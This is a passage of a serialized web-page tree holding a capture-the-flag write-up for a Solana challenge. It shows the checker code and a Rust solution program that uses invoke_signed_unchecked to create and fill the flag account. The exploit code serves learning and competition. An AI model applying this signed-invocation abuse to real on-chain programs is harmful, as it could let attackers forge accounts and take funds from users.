alue":45462},"writeln!",{"type":24,"tag":930,"props":45464,"children":45465},{"style":959},[45466],{"type":30,"value":1010},{"type":24,"tag":930,"props":45468,"children":45469},{"style":1023},[45470],{"type":30,"value":45026},{"type":24,"tag":930,"props":45472,"children":45473},{"style":959},[45474],{"type":30,"value":962},{"type":24,"tag":930,"props":45476,"children":45477},{"style":1270},[45478],{"type":30,"value":45479},"\"user: {}\"",{"type":24,"tag":930,"props":45481,"children":45482},{"style":959},[45483],{"type":30,"value":962},{"type":24,"tag":930,"props":45485,"children":45486},{"style":1023},[45487],{"type":30,"value":23336},{"type":24,"tag":930,"props":45489,"children":45490},{"style":959},[45491],{"type":30,"value":6249},{"type":24,"tag":930,"props":45493,"children":45494},{"style":1158},[45495],{"type":30,"value":5347},{"type":24,"tag":930,"props":45497,"children":45498},{"style":959},[45499],{"type":30,"value":5539},{"type":24,"tag":478,"props":45501,"children":45502},{"start":993},[45503],{"type":24,"tag":100,"props":45504,"children":45505},{},[45506],{"type":30,"value":45507},"Reads an instruction from the tcp stream and executes it",{"type":24,"tag":920,"props":45509,"children":45511},{"className":6102,"code":45510,"language":6101,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[45512],{"type":24,"tag":156,"props":45513,"children":45514},{"__ignoreMap":7},[45515,45565],{"type":24,"tag":930,"props":45516,"children":45517},{"class":932,"line":933},[45518,45522,45527,45531,45535,45539,45544,45548,45552,45557,45561],{"type":24,"tag":930,"props":45519,"children":45520},{"style":937},[45521],{"type":30,"value":14894},{"type":24,"tag":930,"props":45523,"children":45524},{"style":1023},[45525],{"type":30,"value":45526}," solve_ix",{"type":24,"tag":930,"props":45528,"children":45529},{"style":1158},[45530],{"type":30,"value":6137},{"type":24,"tag":930,"props":45532,"children":45533},{"style":1023},[45534],{"type":30,"value":45131},{"type":24,"tag":930,"props":45536,"children":45537},{"style":1158},[45538],{"type":30,"value":436},{"type":24,"tag":930,"props":45540,"children":45541},{"style":1002},[45542],{"type":30,"value":45543},"read_instruction",{"type":24,"tag":930,"props":45545,"children":45546},{"style":959},[45547],{"type":30,"value":45113},{"type":24,"tag":930,"props":45549,"children":45550},{"style":1158},[45551],{"type":30,"value":6597},{"type":24,"tag":930,"props":45553,"children":45554},{"style":959},[45555],{"type":30,"value":45556},"ID)",{"type":24,"tag":930,"props":45558,"children":45559},{"style":1158},[45560],{"type":30,"value":5347},{"type":24,"tag":930,"props":45562,"children":45563},{"style":959},[45564],{"type":30,"value":5539},{"type":24,"tag":930,"props":45566,"children":45567},{"class":932,"line":984},[45568,45572,45576,45581,45585,45589,45593,45598,45602,45606,45610,45614,45619,45623,45627,45631,45635,45639,45643,45647],{"type":24,"tag":930,"props":45569,"children":45570},{"style":1023},[45571],{"type":30,"value":45300},{"type":24,"tag":930,"props":45573,"children":45574},{"style":1158},[45575],{"type":30,"value":436},{"type":24,"tag":930,"props":45577,"children":45578},{"style":1002},[45579],{"type":30,"value":45580},"run_ixs_full",{"type":24,"tag":930,"props":45582,"children":45583},{"style":959},[45584],{"type":30,"value":1010},{"type":24,"tag":930,"props":45586,"children":45587},{"style":1158},[45588],{"type":30,"value":6230},{"type":24,"tag":930,"props":45590,"children":45591},{"style":959},[45592],{"type":30,"value":6849},{"type":24,"tag":930,"props":45594,"children":45595},{"style":1023},[45596],{"type":30,"value":45597},"solve_ix",{"type":24,"tag":930,"props":45599,"children":45600},{"style":959},[45601],{"type":30,"value":26162},{"type":24,"tag":930,"props":45603,"children":45604},{"style":1158},[45605],{"type":30,"value":6230},{"type":24,"tag":930,"props":45607,"children":45608},{"style":959},[45609],{"type":30,"value":6849},{"type":24,"tag":930,"props":45611,"children":45612},{"style":1158},[45613],{"type":30,"value":6230},{"type":24,"tag":930,"props":45615,"children":45616},{"style":1023},[45617],{"type":30,"value":45618},"user_keypair",{"type":24,"tag":930,"props":45620,"children":45621},{"style":959},[45622],{"type":30,"value":26162},{"type":24,"tag":930,"props":45624,"children":45625},{"style":1158},[45626],{"type":30,"value":6230},{"type":24,"tag":930,"props":45628,"children":45629},{"style":1023},[45630],{"type":30,"value":23336},{"type":24,"tag":930,"props":45632,"children":45633},{"style":959},[45634],{"type":30,"value":6249},{"type":24,"tag":930,"props":45636,"children":45637},{"style":1158},[45638],{"type":30,"value":436},{"type":24,"tag":930,"props":45640,"children":45641},{"style":1079},[45642],{"type":30,"value":36004},{"type":24,"tag":930,"props":45644,"children":45645},{"style":1158},[45646],{"type":30,"value":5347},{"type":24,"tag":930,"props":45648,"children":45649},{"style":959},[45650],{"type":30,"value":5539},{"type":24,"tag":478,"props":45652,"children":45653},{"start":1057},[45654],{"type":24,"tag":100,"props":45655,"children":45656},{},[45657],{"type":30,"value":45658},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":24,"tag":920,"props":45660,"children":45662},{"className":6102,"code":45661,"language":6101,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[45663],{"type":24,"tag":156,"props":45664,"children":45665},{"__ignoreMap":7},[45666,45750,45841,45882,45966,45973,46010,46067,46112,46127,46163,46170,46177],{"type":24,"tag":930,"props":45667,"children":45668},{"class":932,"line":933},[45669,45673,45678,45682,45686,45690,45695,45699,45703,45707,45712,45716,45721,45726,45730,45734,45738,45742,45746],{"type":24,"tag":930,"props":45670,"children":45671},{"style":937},[45672],{"type":30,"value":14894},{"type":24,"tag":930,"props":45674,"children":45675},{"style":1023},[45676],{"type":30,"value":45677}," flag",{"type":24,"tag":930,"props":45679,"children":45680},{"style":1158},[45681],{"type":30,"value":6137},{"type":24,"tag":930,"props":45683,"children":45684},{"style":943},[45685],{"type":30,"value":23959},{"type":24,"tag":930,"props":45687,"children":45688},{"style":1158},[45689],{"type":30,"value":6597},{"type":24,"tag":930,"props":45691,"children":45692},{"style":1002},[45693],{"type":30,"value":45694},"create_program_address",{"type":24,"tag":930,"props":45696,"children":45697},{"style":959},[45698],{"type":30,"value":1010},{"type":24,"tag":930,"props":45700,"children":45701},{"style":1158},[45702],{"type":30,"value":6230},{"type":24,"tag":930,"props":45704,"children":45705},{"style":959},[45706],{"type":30,"value":6849},{"type":24,"tag":930,"props":45708,"children":45709},{"style":1270},[45710],{"type":30,"value":45711},"\"FLAG\"",{"type":24,"tag":930,"props":45713,"children":45714},{"style":1158},[45715],{"type":30,"value":436},{"type":24,"tag":930,"props":45717,"children":45718},{"style":1002},[45719],{"type":30,"value":45720},"as_ref",{"type":24,"tag":930,"props":45722,"children":45723},{"style":959},[45724],{"type":30,"value":45725},"()], ",{"type":24,"tag":930,"props":45727,"children":45728},{"style":1158},[45729],{"type":30,"value":6230},{"type":24,"tag":930,"props":45731,"children":45732},{"style":959},[45733],{"type":30,"value":45300},{"type":24,"tag":930,"props":45735,"children":45736},{"style":1158},[45737],{"type":30,"value":6597},{"type":24,"tag":930,"props":45739,"children":45740},{"style":959},[45741],{"type":30,"value":45556},{"type":24,"tag":930,"props":45743,"children":45744},{"style":1158},[45745],{"type":30,"value":5347},{"type":24,"tag":930,"props":45747,"children":45748},{"style":959},[45749],{"type":30,"value":5539},{"type":24,"tag":930,"props":45751,"children":45752},{"class":932,"line":984},[45753,45757,45761,45765,45769,45774,45778,45782,45786,45790,45794,45798,45803,45807,45812,45816,45821,45825,45829,45833,45837],{"type":24,"tag":930,"props":45754,"children":45755},{"style":1079},[45756],{"type":30,"value":18683},{"type":24,"tag":930,"props":45758,"children":45759},{"style":937},[45760],{"type":30,"value":30397},{"type":24,"tag":930,"props":45762,"children":45763},{"style":943},[45764],{"type":30,"value":30402},{"type":24,"tag":930,"props":45766,"children":45767},{"style":959},[45768],{"type":30,"value":1010},{"type":24,"tag":930,"props":45770,"children":45771},{"style":1023},[45772],{"type":30,"value":45773},"acct",{"type":24,"tag":930,"props":45775,"children":45776},{"style":959},[45777],{"type":30,"value":5579},{"type":24,"tag":930,"props":45779,"children":45780},{"style":1158},[45781],{"type":30,"value":1161},{"type":24,"tag":930,"props":45783,"children":45784},{"style":1023},[45785],{"type":30,"value":45131},{"type":24,"tag":930,"props":45787,"children":45788},{"style":1158},[45789],{"type":30,"value":436},{"type":24,"tag":930,"props":45791,"children":45792},{"style":959},[45793],{"type":30,"value":23384},{"type":24,"tag":930,"props":45795,"children":45796},{"style":1158},[45797],{"type":30,"value":436},{"type":24,"tag":930,"props":45799,"children":45800},{"style":959},[45801],{"type":30,"value":45802},"banks_client",{"type":24,"tag":930,"props":45804,"children":45805},{"style":1158},[45806],{"type":30,"value":436},{"type":24,"tag":930,"props":45808,"children":45809},{"style":1002},[45810],{"type":30,"value":45811},"get_account",{"type":24,"tag":930,"props":45813,"children":45814},{"style":959},[45815],{"type":30,"value":1010},{"type":24,"tag":930,"props":45817,"children":45818},{"style":1023},[45819],{"type":30,"value":45820},"flag",{"type":24,"tag":930,"props":45822,"children":45823},{"style":959},[45824],{"type":30,"value":6249},{"type":24,"tag":930,"props":45826,"children":45827},{"style":1158},[45828],{"type":30,"value":436},{"type":24,"tag":930,"props":45830,"children":45831},{"style":1079},[45832],{"type":30,"value":36004},{"type":24,"tag":930,"props":45834,"children":45835},{"style":1158},[45836],{"type":30,"value":5347},{"type":24,"tag":930,"props":45838,"children":45839},{"style":959},[45840],{"type":30,"value":981},{"type":24,"tag":930,"props":45842,"children":45843},{"class":932,"line":993},[45844,45848,45853,45857,45861,45865,45869,45873,45877],{"type":24,"tag":930,"props":45845,"children":45846},{"style":1079},[45847],{"type":30,"value":15386},{"type":24,"tag":930,"props":45849,"children":45850},{"style":1023},[45851],{"type":30,"value":45852}," acct",{"type":24,"tag":930,"props":45854,"children":45855},{"style":1158},[45856],{"type":30,"value":436},{"type":24,"tag":930,"props":45858,"children":45859},{"style":959},[45860],{"type":30,"value":6817},{"type":24,"tag":930,"props":45862,"children":45863},{"style":1158},[45864],{"type":30,"value":436},{"type":24,"tag":930,"props":45866,"children":45867},{"style":1002},[45868],{"type":30,"value":12247},{"type":24,"tag":930,"props":45870,"children":45871},{"style":959},[45872],{"type":30,"value":3446},{"type":24,"tag":930,"props":45874,"children":45875},{"style":1158},[45876],{"type":30,"value":1239},{"type":24,"tag":930,"props":45878,"children":45879},{"style":1242},[45880],{"type":30,"value":45881}," 0x1337\n",{"type":24,"tag":930,"props":45883,"children":45884},{"class":932,"line":1057},[45885,45890,45894,45898,45903,45907,45911,45915,45920,45924,45928,45932,45936,45940,45944,45948,45952,45957,45961],{"type":24,"tag":930,"props":45886,"children":45887},{"style":1158},[45888],{"type":30,"value":45889},"        &&",{"type":24,"tag":930,"props":45891,"children":45892},{"style":943},[45893],{"type":30,"value":8972},{"type":24,"tag":930,"props":45895,"children":45896},{"style":1158},[45897],{"type":30,"value":6597},{"type":24,"tag":930,"props":45899,"children":45900},{"style":1002},[45901],{"type":30,"value":45902},"from_le_bytes",{"type":24,"tag":930,"props":45904,"children":45905},{"style":959},[45906],{"type":30,"value":1010},{"type":24,"tag":930,"props":45908,"children":45909},{"style":1023},[45910],{"type":30,"value":45773},{"type":24,"tag":930,"props":45912,"children":45913},{"style":1158},[45914],{"type":30,"value":436},{"type":24,"tag":930,"props":45916,"children":45917},{"style":959},[45918],{"type":30,"value":45919},"data[",{"type":24,"tag":930,"props":45921,"children":45922},{"style":1158},[45923],{"type":30,"value":6173},{"type":24,"tag":930,"props":45925,"children":45926},{"style":1242},[45927],{"type":30,"value":7192},{"type":24,"tag":930,"props":45929,"children":45930},{"style":959},[45931],{"type":30,"value":18514},{"type":24,"tag":930,"props":45933,"children":45934},{"style":1158},[45935],{"type":30,"value":436},{"type":24,"tag":930,"props":45937,"children":45938},{"style":1002},[45939],{"type":30,"value":29254},{"type":24,"tag":930,"props":45941,"children":45942},{"style":959},[45943],{"type":30,"value":16986},{"type":24,"tag":930,"props":45945,"children":45946},{"style":1158},[45947],{"type":30,"value":436},{"type":24,"tag":930,"props":45949,"children":45950},{"style":1002},[45951],{"type":30,"value":6781},{"type":24,"tag":930,"props":45953,"children":45954},{"style":959},[45955],{"type":30,"value":45956},"()) ",{"type":24,"tag":930,"props":45958,"children":45959},{"style":1158},[45960],{"type":30,"value":1239},{"type":24,"tag":930,"props":45962,"children":45963},{"style":1242},[45964],{"type":30,"value":45965}," 0x4337\n",{"type":24,"tag":930,"props":45967,"children":45968},{"class":932,"line":1066},[45969],{"type":24,"tag":930,"props":45970,"children":45971},{"style":959},[45972],{"type":30,"value":1128},{"type":24,"tag":930,"props":45974,"children":45975},{"class":932,"line":1075},[45976,45981,45985,45989,45993,45998,46002,46006],{"type":24,"tag":930,"props":45977,"children":45978},{"style":1002},[45979],{"type":30,"value":45980},"        writeln!",{"type":24,"tag":930,"props":45982,"children":45983},{"style":959},[45984],{"type":30,"value":1010},{"type":24,"tag":930,"props":45986,"children":45987},{"style":1023},[45988],{"type":30,"value":45026},{"type":24,"tag":930,"props":45990,"children":45991},{"style":959},[45992],{"type":30,"value":962},{"type":24,"tag":930,"props":45994,"children":45995},{"style":1270},[45996],{"type":30,"value":45997},"\"congrats!\"",{"type":24,"tag":930,"props":45999,"children":46000},{"style":959},[46001],{"type":30,"value":6249},{"type":24,"tag":930,"props":46003,"children":46004},{"style":1158},[46005],{"type":30,"value":5347},{"type":24,"tag":930,"props":46007,"children":46008},{"style":959},[46009],{"type":30,"value":5539},{"type":24,"tag":930,"props":46011,"children":46012},{"class":932,"line":1122},[46013,46017,46021,46026,46030,46034,46038,46042,46047,46051,46055,46059,46063],{"type":24,"tag":930,"props":46014,"children":46015},{"style":1079},[46016],{"type":30,"value":3290},{"type":24,"tag":930,"props":46018,"children":46019},{"style":937},[46020],{"type":30,"value":30397},{"type":24,"tag":930,"props":46022,"children":46023},{"style":943},[46024],{"type":30,"value":46025}," Ok",{"type":24,"tag":930,"props":46027,"children":46028},{"style":959},[46029],{"type":30,"value":1010},{"type":24,"tag":930,"props":46031,"children":46032},{"style":1023},[46033],{"type":30,"value":45820},{"type":24,"tag":930,"props":46035,"children":46036},{"style":959},[46037],{"type":30,"value":5579},{"type":24,"tag":930,"props":46039,"children":46040},{"style":1158},[46041],{"type":30,"value":1161},{"type":24,"tag":930,"props":46043,"children":46044},{"style":959},[46045],{"type":30,"value":46046}," env",{"type":24,"tag":930,"props":46048,"children":46049},{"style":1158},[46050],{"type":30,"value":6597},{"type":24,"tag":930,"props":46052,"children":46053},{"style":1002},[46054],{"type":30,"value":38136},{"type":24,"tag":930,"props":46056,"children":46057},{"style":959},[46058],{"type":30,"value":1010},{"type":24,"tag":930,"props":46060,"children":46061},{"style":1270},[46062],{"type":30,"value":45711},{"type":24,"tag":930,"props":46064,"children":46065},{"style":959},[46066],{"type":30,"value":1503},{"type":24,"tag":930,"props":46068,"children":46069},{"class":932,"line":1131},[46070,46075,46079,46083,46087,46092,46096,46100,46104,46108],{"type":24,"tag":930,"props":46071,"children":46072},{"style":1002},[46073],{"type":30,"value":46074},"            writeln!",{"type":24,"tag":930,"props":46076,"children":46077},{"style":959},[46078],{"type":30,"value":1010},{"type":24,"tag":930,"props":46080,"children":46081},{"style":1023},[46082],{"type":30,"value":45026},{"type":24,"tag":930,"props":46084,"children":46085},{"style":959},[46086],{"type":30,"value":962},{"type":24,"tag":930,"props":46088,"children":46089},{"style":1270},[46090],{"type":30,"value":46091},"\"flag: {:?}\"",{"type":24,"tag":930,"props":46093,"children":46094},{"style":959},[46095],{"type":30,"value":962},{"type":24,"tag":930,"props":46097,"children":46098},{"style":1023},[46099],{"type":30,"value":45820},{"type":24,"tag":930,"props":46101,"children":46102},{"style":959},[46103],{"type":30,"value":6249},{"type":24,"tag":930,"props":46105,"children":46106},{"style":1158},[46107],{"type":30,"value":5347},{"type":24,"tag":930,"props":46109,"children":46110},{"style":959},[46111],{"type":30,"value":5539},{"type":24,"tag":930,"props":46113,"children":46114},{"class":932,"line":1144},[46115,46119,46123],{"type":24,"tag":930,"props":46116,"children":46117},{"style":959},[46118],{"type":30,"value":6430},{"type":24,"tag":930,"props":46120,"children":46121},{"style":1079},[46122],{"type":30,"value":2317},{"type":24,"tag":930,"props":46124,"children":46125},{"style":959},[46126],{"type":30,"value":981},{"type":24,"tag":930,"props":46128,"children":46129},{"class":932,"line":1169},[46130,46134,46138,46142,46146,46151,46155,46159],{"type":24,"tag":930,"props":46131,"children":46132},{"style":1002},[46133],{"type":30,"value":46074},{"type":24,"tag":930,"props":46135,"children":46136},{"style":959},[46137],{"type":30,"value":1010},{"type":24,"tag":930,"props":46139,"children":46140},{"style":1023},[46141],{"type":30,"value":45026},{"type":24,"tag":930,"props":46143,"children":46144},{"style":959},[46145],{"type":30,"value":962},{"type":24,"tag":930,"props":46147,"children":46148},{"style":1270},[46149],{"type":30,"value":46150},"\"flag not found, please contact admin\"",{"type":24,"tag":930,"props":46152,"children":46153},{"style":959},[46154],{"type":30,"value":6249},{"type":24,"tag":930,"props":46156,"children":46157},{"style":1158},[46158],{"type":30,"value":5347},{"type":24,"tag":930,"props":46160,"children":46161},{"style":959},[46162],{"type":30,"value":5539},{"type":24,"tag":930,"props":46164,"children":46165},{"class":932,"line":1191},[46166],{"type":24,"tag":930,"props":46167,"children":46168},{"style":959},[46169],{"type":30,"value":1831},{"type":24,"tag":930,"props":46171,"children":46172},{"class":932,"line":1223},[46173],{"type":24,"tag":930,"props":46174,"children":46175},{"style":959},[46176],{"type":30,"value":1840},{"type":24,"tag":930,"props":46178,"children":46179},{"class":932,"line":1281},[46180],{"type":24,"tag":930,"props":46181,"children":46182},{"style":959},[46183],{"type":30,"value":2528},{"type":24,"tag":68,"props":46185,"children":46187},{"id":46186},"solution-idea",[46188],{"type":30,"value":46189},"Solution Idea",{"type":24,"tag":33,"props":46191,"children":46192},{},[46193,46195,46200],{"type":30,"value":46194},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":24,"tag":156,"props":46196,"children":46198},{"className":46197},[],[46199],{"type":30,"value":38769},{"type":30,"value":46201}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":24,"tag":33,"props":46203,"children":46204},{},[46205,46207,46213],{"type":30,"value":46206},"In order to get the flag, we need to make sure that the account at ",{"type":24,"tag":156,"props":46208,"children":46210},{"className":46209},[],[46211],{"type":30,"value":46212},"PDA(\"FLAG\")",{"type":30,"value":46214}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":24,"tag":33,"props":46216,"children":46217},{},[46218,46220,46227],{"type":30,"value":46219},"Essentially, we need to ",{"type":24,"tag":37,"props":46221,"children":46224},{"href":46222,"rel":46223},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[41],[46225],{"type":30,"value":46226},"invoke the System Program",{"type":30,"value":46228},", and write controlled data into the newly created account.",{"type":24,"tag":33,"props":46230,"children":46231},{},[46232],{"type":30,"value":46233},"A sample program that does this is as follows:",{"type":24,"tag":920,"props":46235,"children":46237},{"className":6102,"code":46236,"language":6101,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[46238],{"type":24,"tag":156,"props":46239,"children":46240},{"__ignoreMap":7},[46241,46261,46285,46313,46341,46361,46397,46433,46440,46448,46481,46498,46523,46544,46596,46621,46628,46641,46687,46731,46739,46747,46758,46774,46785,46805,46825,46832,46868,46883,46890,46898,46977,46984,46995],{"type":24,"tag":930,"props":46242,"children":46243},{"class":932,"line":933},[46244,46248,46252,46257],{"type":24,"tag":930,"props":46245,"children":46246},{"style":937},[46247],{"type":30,"value":16797},{"type":24,"tag":930,"props":46249,"children":46250},{"style":937},[46251],{"type":30,"value":16802},{"type":24,"tag":930,"props":46253,"children":46254},{"style":1002},[46255],{"type":30,"value":46256}," process_instruction",{"type":24,"tag":930,"props":46258,"children":46259},{"style":959},[46260],{"type":30,"value":2814},{"type":24,"tag":930,"props":46262,"children":46263},{"class":932,"line":984},[46264,46269,46273,46277,46281],{"type":24,"tag":930,"props":46265,"children":46266},{"style":1023},[46267],{"type":30,"value":46268},"    program_id",{"type":24,"tag":930,"props":46270,"children":46271},{"style":1158},[46272],{"type":30,"value":476},{"type":24,"tag":930,"props":46274,"children":46275},{"style":1158},[46276],{"type":30,"value":10253},{"type":24,"tag":930,"props":46278,"children":46279},{"style":943},[46280],{"type":30,"value":24500},{"type":24,"tag":930,"props":46282,"children":46283},{"style":959},[46284],{"type":30,"value":2832},{"type":24,"tag":930,"props":46286,"children":46287},{"class":932,"line":993},[46288,46293,46297,46301,46305,46309],{"type":24,"tag":930,"props":46289,"children":46290},{"style":1023},[46291],{"type":30,"value":46292},"    accounts",{"type":24,"tag":930,"props":46294,"children":46295},{"style":1158},[46296],{"type":30,"value":476},{"type":24,"tag":930,"props":46298,"children":46299},{"style":1158},[46300],{"type":30,"value":10253},{"type":24,"tag":930,"props":46302,"children":46303},{"style":959},[46304],{"type":30,"value":6849},{"type":24,"tag":930,"props":46306,"children":46307},{"style":943},[46308],{"type":30,"value":18042},{"type":24,"tag":930,"props":46310,"children":46311},{"style":959},[46312],{"type":30,"value":17369},{"type":24,"tag":930,"props":46314,"children":46315},{"class":932,"line":1057},[46316,46321,46325,46329,46333,46337],{"type":24,"tag":930,"props":46317,"children":46318},{"style":1023},[46319],{"type":30,"value":46320},"    data",{"type":24,"tag":930,"props":46322,"children":46323},{"style":1158},[46324],{"type":30,"value":476},{"type":24,"tag":930,"props":46326,"children":46327},{"style":1158},[46328],{"type":30,"value":10253},{"type":24,"tag":930,"props":46330,"children":46331},{"style":959},[46332],{"type":30,"value":6849},{"type":24,"tag":930,"props":46334,"children":46335},{"style":943},[46336],{"type":30,"value":6538},{"type":24,"tag":930,"props":46338,"children":46339},{"style":959},[46340],{"type":30,"value":14879},{"type":24,"tag":930,"props":46342,"children":46343},{"class":932,"line":1066},[46344,46348,46352,46357],{"type":24,"tag":930,"props":46345,"children":46346},{"style":959},[46347],{"type":30,"value":5579},{"type":24,"tag":930,"props":46349,"children":46350},{"style":1158},[46351],{"type":30,"value":16864},{"type":24,"tag":930,"props":46353,"children":46354},{"style":943},[46355],{"type":30,"value":46356}," ProgramResult",{"type":24,"tag":930,"props":46358,"children":46359},{"style":959},[46360],{"type":30,"value":981},{"type":24,"tag":930,"props":46362,"children":46363},{"class":932,"line":1075},[46364,46368,46373,46377,46381,46385,46389,46393],{"type":24,"tag":930,"props":46365,"children":46366},{"style":937},[46367],{"type":30,"value":6122},{"type":24,"tag":930,"props":46369,"children":46370},{"style":1023},[46371],{"type":30,"value":46372}," flag_pda_ai",{"type":24,"tag":930,"props":46374,"children":46375},{"style":1158},[46376],{"type":30,"value":6137},{"type":24,"tag":930,"props":46378,"children":46379},{"style":1158},[46380],{"type":30,"value":10253},{"type":24,"tag":930,"props":46382,"children":46383},{"style":1023},[46384],{"type":30,"value":17781},{"type":24,"tag":930,"props":46386,"children":46387},{"style":959},[46388],{"type":30,"value":6849},{"type":24,"tag":930,"props":46390,"children":46391},{"style":1242},[46392],{"type":30,"value":1818},{"type":24,"tag":930,"props":46394,"children":46395},{"style":959},[46396],{"type":30,"value":34666},{"type":24,"tag":930,"props":46398,"children":46399},{"class":932,"line":1122},[46400,46404,46409,46413,46417,46421,46425,46429],{"type":24,"tag":930,"props":46401,"children":46402},{"style":937},[46403],{"type":30,"value":6122},{"type":24,"tag":930,"props":46405,"children":46406},{"style":1023},[46407],{"type":30,"value":46408}," user_ai",{"type":24,"tag":930,"props":46410,"children":46411},{"style":1158},[46412],{"type":30,"value":6137},{"type":24,"tag":930,"props":46414,"children":46415},{"style":1158},[46416],{"type":30,"value":10253},{"type":24,"tag":930,"props":46418,"children":46419},{"style":1023},[46420],{"type":30,"value":17781},{"type":24,"tag":930,"props":46422,"children":46423},{"style":959},[46424],{"type":30,"value":6849},{"type":24,"tag":930,"props":46426,"children":46427},{"style":1242},[46428],{"type":30,"value":7129},{"type":24,"tag":930,"props":46430,"children":46431},{"style":959},[46432],{"type":30,"value":34666},{"type":24,"tag":930,"props":46434,"children":46435},{"class":932,"line":1131},[46436],{"type":24,"tag":930,"props":46437,"children":46438},{"emptyLinePlaceholder":16},[46439],{"type":30,"value":2412},{"type":24,"tag":930,"props":46441,"children":46442},{"class":932,"line":1144},[46443],{"type":24,"tag":930,"props":46444,"children":46445},{"style":1422},[46446],{"type":30,"value":46447},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":24,"tag":930,"props":46449,"children":46450},{"class":932,"line":1169},[46451,46455,46460,46464,46468,46472,46477],{"type":24,"tag":930,"props":46452,"children":46453},{"style":937},[46454],{"type":30,"value":6122},{"type":24,"tag":930,"props":46456,"children":46457},{"style":1023},[46458],{"type":30,"value":46459}," instruction",{"type":24,"tag":930,"props":46461,"children":46462},{"style":1158},[46463],{"type":30,"value":6137},{"type":24,"tag":930,"props":46465,"children":46466},{"style":943},[46467],{"type":30,"value":44099},{"type":24,"tag":930,"props":46469,"children":46470},{"style":1158},[46471],{"type":30,"value":6597},{"type":24,"tag":930,"props":46473,"children":46474},{"style":1002},[46475],{"type":30,"value":46476},"new_with_bincode",{"type":24,"tag":930,"props":46478,"children":46479},{"style":959},[46480],{"type":30,"value":2814},{"type":24,"tag":930,"props":46482,"children":46483},{"class":932,"line":1191},[46484,46489,46493],{"type":24,"tag":930,"props":46485,"children":46486},{"style":959},[46487],{"type":30,"value":46488},"        system_program",{"type":24,"tag":930,"props":46490,"children":46491},{"style":1158},[46492],{"type":30,"value":6597},{"type":24,"tag":930,"props":46494,"children":46495},{"style":959},[46496],{"type":30,"value":46497},"ID,\n",{"type":24,"tag":930,"props":46499,"children":46500},{"class":932,"line":1223},[46501,46505,46510,46514,46519],{"type":24,"tag":930,"props":46502,"children":46503},{"style":1158},[46504],{"type":30,"value":6587},{"type":24,"tag":930,"props":46506,"children":46507},{"style":959},[46508],{"type":30,"value":46509},"SystemInstruction",{"type":24,"tag":930,"props":46511,"children":46512},{"style":1158},[46513],{"type":30,"value":6597},{"type":24,"tag":930,"props":46515,"children":46516},{"style":943},[46517],{"type":30,"value":46518},"CreateAccount",{"type":24,"tag":930,"props":46520,"children":46521},{"style":959},[46522],{"type":30,"value":981},{"type":24,"tag":930,"props":46524,"children":46525},{"class":932,"line":1281},[46526,46531,46535,46540],{"type":24,"tag":930,"props":46527,"children":46528},{"style":1023},[46529],{"type":30,"value":46530},"            space",{"type":24,"tag":930,"props":46532,"children":46533},{"style":1158},[46534],{"type":30,"value":476},{"type":24,"tag":930,"props":46536,"children":46537},{"style":1242},[46538],{"type":30,"value":46539}," 0x1337",{"type":24,"tag":930,"props":46541,"children":46542},{"style":959},[46543],{"type":30,"value":2832},{"type":24,"tag":930,"props":46545,"children":46546},{"class":932,"line":1313},[46547,46552,46556,46561,46565,46570,46574,46578,46583,46587,46592],{"type":24,"tag":930,"props":46548,"children":46549},{"style":1023},[46550],{"type":30,"value":46551},"            lamports",{"type":24,"tag":930,"props":46553,"children":46554},{"style":1158},[46555],{"type":30,"value":476},{"type":24,"tag":930,"props":46557,"children":46558},{"style":959},[46559],{"type":30,"value":46560}," Rent",{"type":24,"tag":930,"props":46562,"children":46563},{"style":1158},[46564],{"type":30,"value":6597},{"type":24,"tag":930,"props":46566,"children":46567},{"style":1002},[46568],{"type":30,"value":46569},"default",{"type":24,"tag":930,"props":46571,"children":46572},{"style":959},[46573],{"type":30,"value":16986},{"type":24,"tag":930,"props":46575,"children":46576},{"style":1158},[46577],{"type":30,"value":436},{"type":24,"tag":930,"props":46579,"children":46580},{"style":1002},[46581],{"type":30,"value":46582},"minimum_balance",{"type":24,"tag":930,"props":46584,"children":46585},{"style":959},[46586],{"type":30,"value":1010},{"type":24,"tag":930,"props":46588,"children":46589},{"style":1242},[46590],{"type":30,"value":46591},"0x1337",{"type":24,"tag":930,"props":46593,"children":46594},{"style":959},[46595],{"type":30,"value":9848},{"type":24,"tag":930,"props":46597,"children":46598},{"class":932,"line":1335},[46599,46604,46608,46612,46616],{"type":24,"tag":930,"props":46600,"children":46601},{"style":1023},[46602],{"type":30,"value":46603},"            